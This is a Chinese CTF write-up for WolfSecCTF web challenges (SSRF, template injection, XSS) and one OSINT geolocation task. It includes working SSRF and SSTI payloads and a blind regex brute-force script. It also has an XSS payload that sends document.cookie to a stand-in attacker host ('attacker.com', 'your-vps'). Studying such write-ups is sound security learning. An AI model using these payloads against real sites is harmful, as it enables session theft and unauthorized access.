上周末打了密歇根大学举办的一个CTF比赛,做了其中的Web题,发现考点比较新颖和有趣,于是写篇完整的探索记录
Warmup:Burp
一道纯靠burp的题目,这里不再多提 就是抓包然后不断看响应包里面的要求
<p>Found. Redirecting to <a href="/flag?count=1">/flag?count=1</a></p>
访问/flag?count=1
<p>Found. Redirecting to <a href="/?count=7">/?count=7</a></p>
转往?count=7即可获得flag
wsc{c00k1e5_yum!}
SSRF 101
文件结构
发现public.js里面的路由标识
可以看到这里面关键的点在于$path可控 我们先访问下题目中给的路由
可以看到我们拼接进来的端口1001 继续尝试用这个ssrf位点访问一下private2.js成功获取到flag 但是显而易见这题并不只有这种解法
注意拼接处的代码
const url = `http://localhost:${private1Port}${path}`
const parsedUrl = new URL(url)
我们可以在path里使用一个@ 这样@前面字符串会被当作用户名 之后再进行访问指定端口路由即可
最后payload
@localhost:10011/flag
可以看到在这里面访问get路由即可获取到flag 比较有意思的点是private2点端口比我们可控的端口多1 所以我们构造注入1/flag 即可成功访问private2里面的flag路由
https://wsc-2022-web-1-bvel4oasra-uc.a.run.app/ssrf?path=1/flag
成功获取到flag 但是显而易见这题并不只有这种解法
注意拼接处的代码
const url = `http://localhost:${private1Port}${path}`
const parsedUrl = new URL(url)
我们可以在path里使用一个@ 这样@前面字符串会被当作用户名 之后再进行访问指定端口路由即可
最后payload
@localhost:10011/flag
SSRF 301
这道题做了一些基础的防护,但很简单 只是检测我们输入第一个字符不能为数字
当然可以用我刚才提到的第二种解法
但如果你看过orange的ppt就会知道
可以使用%0D%0A换行注入我们的1/flag即可成功拿到flag
最后payload
https://wsc-2022-web-4-bvel4oasra-uc.a.run.app/ssrf?path=%0d%0a1/flag
Get flag wsc{url_synt4x_f0r_th3_w1n_hq32pl}
Java???
这道题是我觉得最有趣的一道题
在这里可以看到花括号包裹起来的数据我们可控 可以猜测可能是ssti
但这里用的模板引擎比较新颖 叫chunk-templates
继续往下看渲染点
他把flag用set存储起来了,现在我们需要的就是通过{$flag}给他渲染出来
但注意这里的preventRecursiveTags函数替换掉了 $符号,我们思路就是代替他 直接打断点debug可以看到
parsetag这里除了$ 还可以用~ 所以我们构造个{~flag}来获取到flag
很有趣是吧,但其实这题最有意思的点是可探索性很高,如果你以前接触过 twig模板
你就会发现它最强大的地方是他的过滤器
我们可以用url编码把我们的符号进行编码 然后再构造一个标签
{.{%24flag%7d|urldecode()}
https://wsc-2022-web-3-bvel4oasra-uc.a.run.app/submit?name=%7B.%7B%2524flag%257d%7Curldecode()%7D
可以看到能够成功带出flag
正是因为他的构造器多样 我们的思维还可以发散
如果你记得今年RealWorld的 RWDN 你应该想起来我们是如何通过.htaccess来读取任意文件的?
可以通过if语法盲注来匹配 而你只要仔细翻了chunk-templates的文档
你会发现他也刚好有这种语法
import re
import requests as req
from string import ascii_letters, digits, printable
d = 0
if d:
url = 'https://wsc-2022-web-3-bvel4oasra-uc.a.run.app/'
proxies = {
"http" : 'http://127.0.0.1:8080',
"https" : 'https://127.0.0.1:8080'
}
else:
url = 'https://wsc-2022-web-3-bvel4oasra-uc.a.run.app/'
proxies = {}
canary = 'test'
charset = printable[:-6].replace(",", "").replace("/", "")
flag = "wsc"
while not flag.endswith("}"):
for _ in charset:
tmp = flag + _
payload = f'{{% if(flag=~/^{re.escape(tmp)}/) %}}{canary}{{% endif %}}'
if d : print(payload)
res = req.get(url+f'submit?name={req.utils.quote(payload)}', proxies=proxies)
if "test" in res.text:
flag += _
print(flag.replace("\", ""))
break
通过正则匹配进行盲注 也是获得flag的好方法
XSS 401
又是一道有趣的题目,不像其他ctf考了很多bypass csp的技巧
因为代码文件单一我直接在这里贴出来
const express = require('express')
const puppeteer = require('puppeteer')
const escape = require('escape-html')
const app = express()
const port = 3000
app.use(express.static(__dirname + '/webapp'))
const visitUrl = async (url, cookieDomain) => {
let browser =
await puppeteer.launch({
headless: true,
pipe: true,
dumpio: true,
ignoreHTTPSErrors: true,
args: [
'--incognito',
'--no-sandbox',
'--disable-gpu',
'--disable-software-rasterizer',
'--disable-dev-shm-usage',
]
})
try {
const ctx = await browser.createIncognitoBrowserContext()
const page = await ctx.newPage()
try {
await page.setCookie({
name: 'flag',
value: process.env.FLAG,
domain: cookieDomain,
httpOnly: false,
samesite: 'strict'
})
await page.goto(url, { timeout: 6000, waitUntil: 'networkidle2' })
} finally {
await page.close()
await ctx.close()
}
}
finally {
browser.close()
}
}
app.get('/visit', async (req, res) => {
const url = req.query.url
console.log('received url: ', url)
let parsedURL
try {
parsedURL = new URL(url)
}
catch (e) {
res.send(escape(e.message))
return
}
if (parsedURL.protocol !== 'http:' && parsedURL.protocol != 'https:') {
res.send('Please provide a URL with the http or https protocol.')
return
}
if (parsedURL.hostname !== req.hostname) {
res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`)
return
}
try {
console.log('visiting url: ', url)
await visitUrl(url, req.hostname)
res.send('Our admin bot has visited your URL!')
} catch (e) {
console.log('error visiting: ', url, ', ', e.message)
res.send('Error visiting your URL: ' + escape(e.message))
} finally {
console.log('done visiting url: ', url)
}
})
app.listen(port, async () => {
console.log(`Listening on ${port}`)
})
关键问题点
if (parsedURL.hostname !== req.hostname) {
res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`)
return
}
这里 可以看到$parsedURL.hostname是没经过任何处理的
我们可以尝试在这里加一些标签
https://wsc-2022-web-5-bvel4oasra-uc.a.run.app/visit?url=https://%3Ch1%3Etest%3C/h1%3E
所以我们就要在这里面想办法插入xss 但是注意hostname的rfc标准
1.不能有空格 2.大小写会被统一转换 3.? # @ /
这些字符会破坏Hostname
其实payload有很多 你可以去terjanq的 博客去找 其实关键点在于bypass空格
翻阅了很多资料发现unicode字符可以代替
<svg%0Conload=alert()>
所以构造个这样类似的poc就可以
但是常规的我们的设想我们要通过一些windows.href类似的跳转拼接cookie 类似这样
window.location='https://attacker.com/?'+document.cookie
我一开始想到了一些编码形式比如base64 但是rfc标准大小写会被统一转换
所以我就想找一些类似切片的东西
location.hash.slice(1)
后来我队友发现这个可以取#之后的数据 拿我们再用eval来进行执行 ,在#后拼接,也就是在hostname外拼接我们的跳转payload即可
最后payload:
https://wsc-2022-web-5-bvel4oasra-uc.a.run.app/visit?url=https://<svg%0Conload=eval(location.hash.slice(1))>/#window.location='https://your-vps/?cookie='+document.cookie
最后成功get flag
OSINT-Where in the world
题目描述
Challenge Description: User Vividpineconepig claims on to live next to a street that's above some train tracks. Where are they? Maybe finding their social media could help. We’ll give you a flag for tracking them down. Give us this elevated STREETNAME preceding the St/Rd/Ave/Lane to prove it.
Format: wsc{STREETNAME}
这种社工题蛮有意思的
Vividpineconepig 是用户的名称。描述告诉我们,我们可能想要找到他们的社交媒体帐户。使用 Sherlock 之类的工具
在ins找到信息
然后就是获得这张图片分析 一开始我想直接使用google map之类的来寻找位置 发现根本没有下手点
这里我自己给自己挖了个坑 得知主办方是密歇根大学 我直接从这里入手,直到一位国外队友告诉我这种高速公路标志右边是蒙大拿州独有的,好吧 然后我们还有右边一个hint mile 280的标记
于是翻google地图 范围很小了
得到镇的名字是 Shelby, MT
通过远处的高架桥和火车轨道的推测
猜测是这个Oilfield街道
wsc{OILFIELD}
来源:先知(https://xz.aliyun.com/t/6830)
注:如有侵权请联系删除
船山院士网络安全团队长期招募学员,零基础上课,终生学习,知识更新,学习不停!包就业,护网,实习,加入团队,外包项目等机会,月薪10K起步,互相信任是前提,一起努力是必须,成就高薪是目标!相信我们的努力你可以看到!想学习的学员,加下面小浪队长的微信咨询!
欢迎大家加群一起讨论学习和交流
快乐要懂得分享,
才能加倍的快乐。
原文始发于微信公众号(衡阳信安):WolfSecCTF 几道有趣的题目
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论